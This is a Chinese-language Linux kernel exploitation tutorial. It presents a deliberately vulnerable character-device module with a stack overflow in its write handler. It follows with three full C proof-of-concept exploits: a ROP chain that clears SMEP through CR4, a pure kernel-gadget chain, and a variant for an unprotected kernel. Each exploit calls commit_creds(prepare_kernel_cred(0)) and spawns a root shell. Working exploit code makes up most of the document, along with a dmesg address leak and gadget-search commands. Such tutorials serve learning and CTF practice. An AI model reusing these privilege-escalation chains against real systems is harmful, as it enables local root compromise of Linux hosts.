|
原文链接:Kernel从0开始
简介
先尝试下最简单的栈溢出,保护和未被保护的情况。
给出自己设计的栈溢出题目:
- #include <linux/module.h>
- #include <linux/version.h>
- #include <linux/kernel.h>
- #include <linux/types.h>
- #include <linux/kdev_t.h>
- #include <linux/fs.h>
- #include <linux/device.h>
- #include <linux/cdev.h>
- #include <asm/uaccess.h>
- #include <linux/slab.h>
-
- //设备驱动常用变量
- static char *buffer_var;
- static struct class *devClass; // Global variable for the device class
- static struct cdev cdev;
- static dev_t stack_dev_no;
-
-
- static ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
- loff_t *f_pos);
-
- static ssize_t stack_write(struct file *filp, const char __user *buf,
- size_t len, loff_t *f_pos);
-
- static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
-
- // static int stack_open(struct inode *i, struct file *f)
- // {
- // printk(KERN_INFO "[i] Module vuln: open()\n");
- // return 0;
- // }
-
- // static int stack_close(struct inode *i, struct file *f)
- // {
- // printk(KERN_INFO "[i] Module vuln: close()\n");
- // return 0;
- // }
-
- static struct file_operations stack_fops =
- {
- .owner = THIS_MODULE,
- // .open = stack_open,
- // .release = stack_close,
- .write = stack_write,
- .read = stack_read
- };
-
- // 设备驱动模块加载函数
- static int __init stack_init(void)
- {
- buffer_var=kmalloc(100,GFP_DMA);
- printk(KERN_INFO "[i] Module stack registered");
- if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)
- {
- return -1;
- }
- if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
- {
- unregister_chrdev_region(stack_dev_no, 1);
- return -1;
- }
- if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)
- {
- printk(KERN_INFO "[i] Module stack error");
- class_destroy(devClass);
- unregister_chrdev_region(stack_dev_no, 1);
- return -1;
- }
- cdev_init(&cdev, &stack_fops);
- if (cdev_add(&cdev, stack_dev_no, 1) == -1)
- {
- device_destroy(devClass, stack_dev_no);
- class_destroy(devClass);
- unregister_chrdev_region(stack_dev_no, 1);
- return -1;
- }
-
- printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));
- return 0;
-
- }
-
- // 设备驱动模块卸载函数
- static void __exit stack_exit(void)
- {
- // 释放占用的设备号
- unregister_chrdev_region(stack_dev_no, 1);
- cdev_del(&cdev);
- }
-
-
- // 读设备
- ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
- loff_t *f_pos)
- {
- printk(KERN_INFO "Stack_read function" );
- if(strlen(buffer_var)>0) {
- printk(KERN_INFO "[i] Module vuln read: %s\n", buffer_var);
- kfree(buffer_var);
- buffer_var=kmalloc(100,GFP_DMA);
- return 0;
- } else {
- return 1;
- }
- }
-
- // 写设备
- ssize_t stack_write(struct file *filp, const char __user *buf,
- size_t len, loff_t *f_pos)
- {
- printk(KERN_INFO "Stack_write function" );
- char buffer[100]={0};
- if (_copy_from_user(buffer, buf, len))
- return -EFAULT;
- buffer[len-1]='\0';
- printk("[i] Module stack write: %s\n", buffer);
- strncpy(buffer_var,buffer,len);
- return len;
- }
-
-
-
- // ioctl函数命令控制
- long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
- {
- switch (cmd) {
- case 1:
- break;
- case 2:
- break;
- default:
- // 不支持的命令
- return -ENOTTY;
- }
- return 0;
- }
-
-
- module_init(stack_init);
- module_exit(stack_exit);
-
- MODULE_LICENSE("GPL");
- // MODULE_AUTHOR("blackndoor");
- // MODULE_DESCRIPTION("Module vuln overflow");
复制代码
▲寻找gadgetropperropper --file vmlinux --search "pop|ret"
这个比较慢,实在不推荐。
objdumpobjdump -d vmlinux -M intel | grep -E 'ret|pop'
这个比较快,不过查出来的gadget可能是不连续的,需要仔细辨别一下,必要时还需要Gdb调试进入vmlinux中进行汇编查询。比如查出来的类似如下:
 
可以看到pop rax下并没有ret,但是依然查找出来了,其中pop rax和pop rbx不是连在一起的,用的时候注意辨别。
ROPgadget依然可以用,但有时候可能比较慢,可以先保存下来,然后再找:
ROPgadget --binary vmlinux | grep "pop rdx ; ret"
一键获取详见之前的项目中的getKernelROP命令,常用gadget,还是比较好用的。
PIG-007/kernelAll (github.com)
(https://github.com/PIG-007/kernelAll)
PIG-007/kernelAll (gitee.com)
(https://gitee.com/Piggy007/kernelAll)二
Stack被保护
这里的被保护指的是开启了SMEP,类似于NX的栈保护,即内核无法执行用户空间的代码。
方法一:通过ROP来关闭掉smep保护,这样就可以进入内核之后启动用户空间我们自己构造的commit_creds(prepare_kernel_cred(0))来完成提权,之后再启一个shell即可获得提权之后的shell。
1、获取地址由于read函数不太有什么地址的读取,所以这里利用dmesg来获取地址。
- unsigned long findAddr() {
- char line[512];
- char string[] = "Freeing SMP alternatives memory";
- char found[17];
- unsigned long addr=0;
-
- /* execute dmesg and place result in a file */
- printf("[+] Excecute dmesg...\n");
- system("dmesg > /tmp/dmesg");
- /* find: Freeing SMP alternatives memory*/
- printf("[+] Find usefull addr...\n");
-
- FILE* file = fopen("/tmp/dmesg", "r");
-
- while (fgets(line, sizeof(line), file)) {
- if(strstr(line,string)) {
- strncpy(found,line+53,16);
- sscanf(found,"%p",(void **)&addr);
- break;
- }
- }
- fclose(file);
-
- if(addr==0) {
- printf(" dmesg error...\n");
- exit(1);
- }
- return addr;
- }
-
- //main函数中
- unsigned long memOffset;
- memOffset = findAddr();
- unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
- unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
- unsigned long getR = (unsigned long)getroot;
- unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
- unsigned long iretq = (unsigned long)memOffset-0x7AC289;
- unsigned long sh = (unsigned long)shell;
复制代码
dmesg是获取内核启动的日志相关信息,自己去尝试一下知道。 
2、关闭SMEP- unsigned char payload[300] = {0};
- unsigned char *p = payload;
-
- /* pop rax;rbx;r12;rbp;ret;*/
- unsigned long poprax = (unsigned long)memOffset-0xCB5B47;
- memcpy(p,&poprax,8);
- printf(" pop rax at 0x%lx\n", poprax);
- p+=8;
- memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8); /* SMEP OFF rax*/
- p+=8;
- memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
- p+=8;
- memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* r12 */
- p+=8;
- memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
- p+=8;
-
- /* mov cr4, rax;rbp;ret */
- unsigned long movcr4 = (unsigned long)memOffset-0x01020F1C;
- memcpy(p,&movcr4,8);
- printf(" mov CR4, RAX at 0x%lx\n", movcr4);
- p+=8;
- memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
- p+=8;
复制代码
3、提权- /* function to get root id */
- void getroot (void)
- {
- commit_creds(prepare_kernel_cred(0));
- }
-
- /* getroot */
- memcpy(p,&getR,8);
- p+=8;
复制代码
4、返回用户空间起Shell- void shell(void) {
- printf("[+] getuid() ...");
- if(!getuid()) {
- printf(" [root]\n[+] Enjoy your shell...\n");
- system("/bin/sh");
- } else {
- printf("[+] not root\n[+] failed !!!\n");
- }
- }
复制代码
- printf(" swapgs at 0x%lx\n", swapgs);
- memcpy(p,&swapgs,8);
- p+=8;
-
- /* iretq */
- printf(" iretq at 0x%lx\n", iretq);
- memcpy(p,&iretq,8);
- p+=8;
-
- /* shell */
- memcpy(p,&sh,8);
- p+=8;
复制代码
5、设置寄存器保存和恢复进入内核空间ROP链前需要保存环境,从内核环境回到用户空间起shell之前需要恢复环境。
(1)保存环境- unsigned long user_cs;
- unsigned long user_ss;
- unsigned long user_rflags;
-
- static void save_state() {
- asm(
- "movq %%cs, %0\n"
- "movq %%ss, %1\n"
- "pushfq\n"
- "popq %2\n"
- : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
- }
复制代码
这个save_state函数在复制数据通过stack_write函数栈溢出进行ROP之前需要调用保存用户空间的环境。
(2)恢复环境- /* user_cs */
- memcpy(p,&user_cs,8);
- p+=8;
-
- /* user_rflags */
- memcpy(p,&user_rflags,8);
- p+=8;
-
- /*stack of userspace */
- register unsigned long rsp asm("rsp");
- unsigned long sp = (unsigned long)rsp;
- memcpy(p,&sp,8);
- p+=8;
-
- /* user_ss */
- memcpy(p,&user_ss,8);
复制代码
这个都是放在ROP链中,放在shell之后。poc- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <errno.h>
- #include <sys/mman.h>
- #include <assert.h>
-
-
- struct cred;
- struct task_struct;
- typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
- typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
- prepare_kernel_cred_t prepare_kernel_cred;
- commit_creds_t commit_creds;
-
- unsigned long user_cs;
- unsigned long user_ss;
- unsigned long user_rflags;
- unsigned long stack;
-
-
- unsigned long findAddr();
- static void save_state();
- void getroot (void);
- void shell(void);
-
-
- int main(int argc, char *argv[])
- {
- int fd;
- unsigned char payload[300] = {0};
- unsigned char *p = payload;
- unsigned long memOffset;
-
-
-
- memOffset = findAddr();
- unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
- unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
- unsigned long getR = (unsigned long)getroot;
- unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
- unsigned long iretq = (unsigned long)memOffset-0x7AC289;
- unsigned long sh = (unsigned long)shell;
-
- printf(" addr[0x%llx]\n", memOffset);
-
- /* set value for commit_creds and prepare_kernel_cred */
- commit_creds = (commit_creds_t)(memOffset - 0xfbf6a0);
- prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);
-
-
- /* open fd on /dev/vuln */
- printf("[+] Open vuln device...\n");
- if ((fd = open("/dev/stack", O_RDWR)) < 0) {
- printf(" Can't open device file: /dev/stack\n");
- exit(1);
- }
-
-
- /* payload */
- printf("[+] Construct the payload...\n");
- save_state();
- /* offset before RIP */
- memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
- p+=116;
-
- memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
- p+=8;
-
- /* pop rax;rbx;r12;rbp;ret */
- memcpy(p,&pop_rax_rbx_r12_rbp_ret,8);
- printf(" pop rax at 0x%lx\n", pop_rax_rbx_r12_rbp_ret);
- p+=8;
- memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8); /* SMEP OFF */
- p+=8;
- memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
- p+=8;
- memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* r12 */
- p+=8;
- memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
- p+=8;
-
- /* mov cr4, rax;rbp;ret */
- memcpy(p,&movCr4Rax_pop_rbp,8);
- printf(" mov CR4, RAX at 0x%lx\n", movCr4Rax_pop_rbp);
- p+=8;
- memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
- p+=8;
-
- /* getroot */
- memcpy(p,&getR,8);
- p+=8;
-
- /* swapgs;ret */
- printf(" swapgs at 0x%lx\n", swapgs);
- memcpy(p,&swapgs,8);
- p+=8;
-
- /* iretq */
- printf(" iretq at 0x%lx\n", iretq);
- memcpy(p,&iretq,8);
- p+=8;
-
-
- /*
- the stack should look like this after an iretq call
- RIP
- CS
- EFLAGS
- RSP
- SS
- */
-
-
- /* shell */
- memcpy(p,&sh,8);
- p+=8;
-
- /* user_cs */
- memcpy(p,&user_cs,8);
- p+=8;
- /* user_rflags */
- memcpy(p,&user_rflags,8);
- p+=8;
- /*stack of userspace */
- register unsigned long rsp asm("rsp");
- unsigned long sp = (unsigned long)rsp;
- memcpy(p,&sp,8);
- p+=8;
- /* user_ss */
- memcpy(p,&user_ss,8);
-
- /* trig the vuln */
- printf("[+] Trig the vulnerablity...\n");
- write(fd, payload, 300);
-
-
- return 0;
-
- }
-
-
-
-
-
- unsigned long findAddr() {
- char line[512];
- char string[] = "Freeing SMP alternatives memory";
- char found[17];
- unsigned long addr=0;
-
- /* execute dmesg and place result in a file */
- printf("[+] Excecute dmesg...\n");
- system("dmesg > /tmp/dmesg");
-
- /* find: Freeing SMP alternatives memory */
- printf("[+] Find usefull addr...\n");
-
- FILE* file = fopen("/tmp/dmesg", "r");
-
-
- while (fgets(line, sizeof(line), file)) {
- if(strstr(line,string)) {
- strncpy(found,line+53,16);
- sscanf(found,"%p",(void **)&addr);
- break;
- }
- }
- fclose(file);
-
- if(addr==0) {
- printf(" dmesg error...\n");
- exit(1);
- }
-
- return addr;
- }
-
- static void save_state() {
- asm(
- "movq %%cs, %0\n"
- "movq %%ss, %1\n"
- "pushfq\n"
- "popq %2\n"
- : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
- }
-
-
- void shell(void) {
- printf("[+] getuid() ...");
- if(!getuid()) {
- printf(" [root]\n[+] Enjoy your shell...\n");
- system("/bin/sh");
- } else {
- printf("[+] not root\n[+] failed !!!\n");
- }
- }
-
- /* function to get root id */
- void getroot (void)
- {
- commit_creds(prepare_kernel_cred(0));
- }
复制代码
方法二:直接在内核空间利用地址和gadget构造commit_creds(prepare_kernel_cred(0))来完成提权,之后返回用户空间起shell。
1、ROP链- pop rdi;ret
- 0
- prepare_kernel_cred_k
- pop rdx;rbx;rbp;ret
- pop rbp;ret
- 0
- rbp_data
- mov rdi,rax;call rdx
- commit_creds_k
- swapgs;ret
- iretq
复制代码
之后就是返回用户空间起shell了。2、解析执行流程▲先是调用prepare_kernel_cred_k(0),然后通过将pop rbp;ret赋值给rdx,之后mov rdi,rax,然后call rdx,即调用pop rbp;ret,之后ret即可回到commit_creds_k。
这里较为麻烦的原因是因为mov rdi,rax;call rdx这个语句,需要赋值rdi才能进行commit_creds函数的执行,即将prepare_kernel_cred_k(0)返回值给commit_creds函数。
 
赋值。
 
之后又因为存在call这个语句,所以多了pop rbp;ret来将栈平衡掉,从而能够直接ret到commit_creds。
 
同样ha1vk师傅的利用jmp就比较简单,不过具体看gadget,有时候很难找。
poc- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <errno.h>
- #include <sys/mman.h>
- #include <assert.h>
-
-
-
- unsigned long user_cs;
- unsigned long user_ss;
- unsigned long user_rflags;
- unsigned long stack;
-
-
- unsigned long findAddr();
- static void save_state();
- void shell(void);
-
-
- int main(int argc, char *argv[])
- {
- int fd;
- unsigned char payload[300] = {0};
- unsigned char *p = payload;
- unsigned long memOffset;
-
-
-
- memOffset = findAddr();
- unsigned long pop_rdi_ret = memOffset - 0xD17AF3;
- unsigned long pop_rdx_rbx_rbp_ret = (unsigned long)memOffset-0xCB43CD;
- unsigned long pop_rbp_ret = memOffset - 0xCB43CB;
- unsigned long movRdiRax_call_rdx = (unsigned long)memOffset-0xF8F3AA;
- unsigned long prepare_kernel_cred_k = (unsigned long)memOffset-0xFBF2E0;
- unsigned long commit_creds_k = (unsigned long)memOffset-0xFBF6A0;
- unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
- unsigned long iretq = (unsigned long)memOffset-0x7AC289;
- unsigned long sh = (unsigned long)shell;
-
-
-
-
- printf(" addr[0x%llx]\n", memOffset);
-
- /* open fd on /dev/vuln */
- printf("[+] Open vuln device...\n");
- if ((fd = open("/dev/stack", O_RDWR)) < 0) {
- printf(" Can't open device file: /dev/stack\n");
- exit(1);
- }
-
-
- /* payload */
- printf("[+] Construct the payload...\n");
- save_state();
- /* offset before RIP */
- memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
- p+=116;
-
- memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
- p+=8;
-
-
- /*
- pop rdi;ret ffffffff8131750d
- 0
- prepare_kernel_cred_k_addr
- pop rdx;rbx;rbp;ret 0xffffffff8137ac33
- commit_creds_k_addr
- mov rdi,rax;call rdx 0xffffffff8109fc56
- swags; ....
- pop rbp;ret; 0xffffffff8137ac35
- 0xdeadbeef
- iretq; ....
- shell;
- CS
- EFLAGS
- RSP
- SS
- */
-
-
- /* pop rdi;ret */
- printf(" pop rdi at 0x%lx\n", pop_rdi_ret);
- memcpy(p,&pop_rdi_ret,8);
- p+=8;
- memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
- p+=8;
-
- //prepare_kernel_cred_k
- printf(" prepare_kernel_cred_k_addr at 0x%lx\n", prepare_kernel_cred_k);
- memcpy(p,&prepare_kernel_cred_k,8);
- p+=8;
-
- //pop rdx;rbx;rbp;ret
- printf(" pop_rdx_rbx_rbp_ret at 0x%lx\n", pop_rdx_rbx_rbp_ret);
- memcpy(p,&pop_rdx_rbx_rbp_ret,8);
- p+=8;
-
-
- //pop rbp;ret
- printf(" pop_rbp_ret at 0x%lx\n", pop_rbp_ret);
- memcpy(p,&pop_rbp_ret,8);
- p+=8;
- memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); //rbx
- p+=8;
- memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); //rbp
- p+=8;
-
-
-
- //mov rdi,rax;call rdx
- printf(" mov rdi,rax;call_rdx at 0x%lx\n", movRdiRax_call_rdx);
- memcpy(p,&movRdiRax_call_rdx,8);
- p+=8;
-
- //commit_creds_k
- printf(" commit_creds_k at 0x%lx\n", commit_creds_k);
- memcpy(p,&commit_creds_k,8);
- p+=8;
-
- /* swapgs;ret */
- printf(" swapgs at 0x%lx\n", swapgs);
- memcpy(p,&swapgs,8);
- p+=8;
-
- /* iretq */
- printf(" iretq at 0x%lx\n", iretq);
- memcpy(p,&iretq,8);
- p+=8;
-
-
- /*
- the stack should look like this after an iretq call
- RIP
- CS
- EFLAGS
- RSP
- SS
- */
-
-
- /* shell */
- memcpy(p,&sh,8);
- p+=8;
-
- /* user_cs */
- memcpy(p,&user_cs,8);
- p+=8;
- /* user_rflags */
- memcpy(p,&user_rflags,8);
- p+=8;
- /*stack of userspace */
- register unsigned long rsp asm("rsp");
- unsigned long sp = (unsigned long)rsp;
- memcpy(p,&sp,8);
- p+=8;
- /* user_ss */
- memcpy(p,&user_ss,8);
-
- /* trig the vuln */
- printf("[+] Trig the vulnerablity...\n");
- write(fd, payload, 300);
-
-
- return 0;
-
- }
-
-
-
-
-
- unsigned long findAddr() {
- char line[512];
- char string[] = "Freeing SMP alternatives memory";
- char found[17];
- unsigned long addr=0;
-
- /* execute dmesg and place result in a file */
- printf("[+] Excecute dmesg...\n");
- system("dmesg > /tmp/dmesg");
-
- /* find: Freeing SMP alternatives memory */
- printf("[+] Find usefull addr...\n");
-
- FILE* file = fopen("/tmp/dmesg", "r");
-
-
- while (fgets(line, sizeof(line), file)) {
- if(strstr(line,string)) {
- strncpy(found,line+53,16);
- sscanf(found,"%p",(void **)&addr);
- break;
- }
- }
- fclose(file);
-
- if(addr==0) {
- printf(" dmesg error...\n");
- exit(1);
- }
-
- return addr;
- }
-
- static void save_state() {
- asm(
- "movq %%cs, %0\n"
- "movq %%ss, %1\n"
- "pushfq\n"
- "popq %2\n"
- : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
- }
-
- void shell(void) {
- printf("[+] getuid() ...");
- if(!getuid()) {
- printf(" [root]\n[+] Enjoy your shell...\n");
- system("/bin/sh");
- } else {
- printf("[+] not root\n[+] failed !!!\n");
- }
- }
复制代码
(15条消息) linux kernel pwn学习之ROP_seaaseesa的博客-CSDN博客(https://blog.csdn.net/seaaseesa/ ... 1018.2226.3001.4450)
Stack未被保护
解析这个直接调用用户空间构造的commit_creds(prepare_kernel_cred(0))提权,然后直接原地起shell即可。相当于省去关闭smep保护的那段ROP链,直接getroot即可。
poc- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <errno.h>
- #include <sys/mman.h>
- #include <assert.h>
-
-
- struct cred;
- struct task_struct;
- typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
- typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
- prepare_kernel_cred_t prepare_kernel_cred;
- commit_creds_t commit_creds;
-
- unsigned long user_cs;
- unsigned long user_ss;
- unsigned long user_rflags;
- unsigned long stack;
-
-
- unsigned long findAddr();
- static void save_state();
- void getroot (void);
- void shell(void);
-
-
- int main(int argc, char *argv[])
- {
- int fd;
- unsigned char payload[300] = {0};
- unsigned char *p = payload;
- unsigned long memOffset;
-
-
-
- memOffset = findAddr();
- unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
- unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
- unsigned long getR = (unsigned long)getroot;
- unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
- unsigned long iretq = (unsigned long)memOffset-0x7AC289;
- unsigned long sh = (unsigned long)shell;
-
-
-
-
- printf(" addr[0x%llx]\n", memOffset);
-
- /* set value for commit_creds and prepare_kernel_cred */
- commit_creds = (commit_creds_t)(memOffset - 0xfbf6a0);
- prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);
-
-
- /* open fd on /dev/vuln */
- printf("[+] Open vuln device...\n");
- if ((fd = open("/dev/stack", O_RDWR)) < 0) {
- printf(" Can't open device file: /dev/stack\n");
- exit(1);
- }
-
-
- /* payload */
- printf("[+] Construct the payload...\n");
- save_state();
- /* offset before RIP */
- memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
- p+=116;
-
- memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
- p+=8;
-
-
- /* getroot */
- memcpy(p,&getR,8);
- p+=8;
-
- /* swapgs;ret */
- printf(" swapgs at 0x%lx\n", swapgs);
- memcpy(p,&swapgs,8);
- p+=8;
-
- /* iretq */
- printf(" iretq at 0x%lx\n", iretq);
- memcpy(p,&iretq,8);
- p+=8;
-
-
- /*
- the stack should look like this after an iretq call
- RIP
- CS
- EFLAGS
- RSP
- SS
- */
-
-
- /* shell */
- memcpy(p,&sh,8);
- p+=8;
-
-
-
- /* user_cs */
- memcpy(p,&user_cs,8);
- p+=8;
- /* user_rflags */
- memcpy(p,&user_rflags,8);
- p+=8;
- /*stack of userspace */
- register unsigned long rsp asm("rsp");
- unsigned long sp = (unsigned long)rsp;
- memcpy(p,&sp,8);
- p+=8;
- /* user_ss */
- memcpy(p,&user_ss,8);
-
- /* trig the vuln */
- printf("[+] Trig the vulnerablity...\n");
- write(fd, payload, 300);
-
-
- return 0;
-
- }
-
-
-
-
-
- unsigned long findAddr() {
- char line[512];
- char string[] = "Freeing SMP alternatives memory";
- char found[17];
- unsigned long addr=0;
-
- /* execute dmesg and place result in a file */
- printf("[+] Excecute dmesg...\n");
- system("dmesg > /tmp/dmesg");
-
- /* find: Freeing SMP alternatives memory */
- printf("[+] Find usefull addr...\n");
-
- FILE* file = fopen("/tmp/dmesg", "r");
-
-
- while (fgets(line, sizeof(line), file)) {
- if(strstr(line,string)) {
- strncpy(found,line+53,16);
- sscanf(found,"%p",(void **)&addr);
- break;
- }
- }
- fclose(file);
-
- if(addr==0) {
- printf(" dmesg error...\n");
- exit(1);
- }
-
- return addr;
- }
-
- static void save_state() {
- asm(
- "movq %%cs, %0\n"
- "movq %%ss, %1\n"
- "pushfq\n"
- "popq %2\n"
- : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
- }
-
- void shell(void) {
- printf("[+] getuid() ...");
- if(!getuid()) {
- printf(" [root]\n[+] Enjoy your shell...\n");
- system("/bin/sh");
- } else {
- printf("[+] not root\n[+] failed !!!\n");
- }
- }
-
- /* function to get root id */
- void getroot (void)
- {
- commit_creds(prepare_kernel_cred(0));
- }
复制代码
▲这里如果加了SMEP保护,那么就会出现下列的错误:unable to execute userspace code (SMEP?) (uid: 1000)
 
|
|